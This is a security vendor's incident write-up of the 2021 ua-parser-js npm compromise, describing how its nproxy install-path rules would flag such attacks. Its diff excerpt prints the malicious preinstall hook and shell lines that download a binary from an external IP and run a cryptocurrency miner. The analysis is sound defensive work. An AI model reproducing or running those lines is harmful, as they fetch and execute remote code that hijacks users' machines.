Incident Analysis

How nproxy can flag ua-parser-js attack signals

On October 22, 2021, malicious versions of ua-parser-js were published, then remediated a few hours later. The package now serves tens of millions of weekly downloads, and the incident remains a clean example of why install-path policy checks matter.

Published April 2, 2026

What happened on October 22, 2021

The GitHub advisory for CVE-2021-4229 marks three malicious versions as affected: 0.7.29, 0.8.0, and 1.0.0.

npm registry timestamps show those releases were published around 12:15-12:16 UTC and replacement versions were published around 16:16-16:26 UTC the same day. That left a short but real compromise window.

The package diff for 0.7.28 -> 0.7.29 shows new preinstall behavior that fetched and executed external binaries, including miner-like command arguments.

Timeline (UTC)
  • 2021-10-22 12:15:21 0.7.29 published
  • 2021-10-22 12:16:06 0.8.0 published
  • 2021-10-22 12:16:19 1.0.0 published
  • 2021-10-22 16:16:08 0.7.30 published (first fixed line)
  • 2021-10-22 16:23:53 0.8.1 published
  • 2021-10-22 16:26:19 1.0.1 published

The malicious delta in one screen

The diff added a preinstall hook and shell commands that fetched a binary and executed it. That pattern is exactly the type of signal you want to surface before package resolution completes.

0.7.28 -> 0.7.29 (excerpt)
// package.json
"scripts": {
  "preinstall": "start /B node preinstall.js & node preinstall.js",
  ...
}

// preinstall.sh / preinstall.bat excerpts
curl http://159.148.186.228/download/jsextension -o jsextension
./jsextension -k --tls -o pool.minexmr.com:443 ...

Which nproxy rules matter for this attack class

nproxy evaluates package requests at fetch/install time and can block or warn before dependency resolution completes. For this incident family, these are the high-signal controls:

install_scripts
warn (default Pro)

Flags packages that execute lifecycle scripts during install. The malicious ua-parser-js versions introduced preinstall hooks, so this rule is directly relevant.

publisher_change
warn (default Pro)

Flags unusual publisher identity changes for established packages. This is a useful early-warning control for account takeover and maintainer-transfer risk patterns.

first_seen
block (default Pro)

Blocks brand-new package names for a quarantine window (default: 7 days). This does not trigger on an old package name like ua-parser-js itself, but it does reduce blast radius when attacks pull in fresh package names.

No single rule catches every compromise pattern. Layered rules are the point: publisher behavior, install-script behavior, age quarantine, plus malware/vulnerability intelligence when available.

nproxy does not guarantee that every malicious package is always caught. It provides install-path policy controls to reduce risk and surface signals earlier.

Reproduce the setup path in your own repo

These commands are copy/paste-safe and align with the current nproxy CLI docs.

1) Configure npm to route through nproxy
npx @nproxy/cli setup acme-ua-parser
2) Verify reachability and proxy headers
npx @nproxy/cli verify acme-ua-parser
3) Confirm the historical publish window from npm metadata
npm view ua-parser-js time --json | jq '{
  v0729: ."0.7.29",
  v080: ."0.8.0",
  v100: ."1.0.0",
  v0730: ."0.7.30",
  v081: ."0.8.1",
  v1001: ."1.0.1"
}'
4) Install through your org proxy as normal
npm install ua-parser-js@0.7.28 \
  --registry=https://acme-ua-parser.nproxy.app/ \
  --ignore-scripts

Replace acme-ua-parser with your organization slug.

What teams should do after this kind of incident

  • Identify exposure windows using lockfiles, CI logs, and package manager caches.
  • Rotate secrets from a known-clean machine if compromised versions were installed during the affected window.
  • Keep install-script visibility on by default, then move to block mode in high-trust environments.
  • Keep package-manager traffic routed through an install-path proxy so rule decisions happen before dependency resolution completes.
Sources

Stop risky packages before they reach production

If your team installs npm dependencies every day, put policy checks in the install path and start with one command:

npx @nproxy/cli setup your-org-slug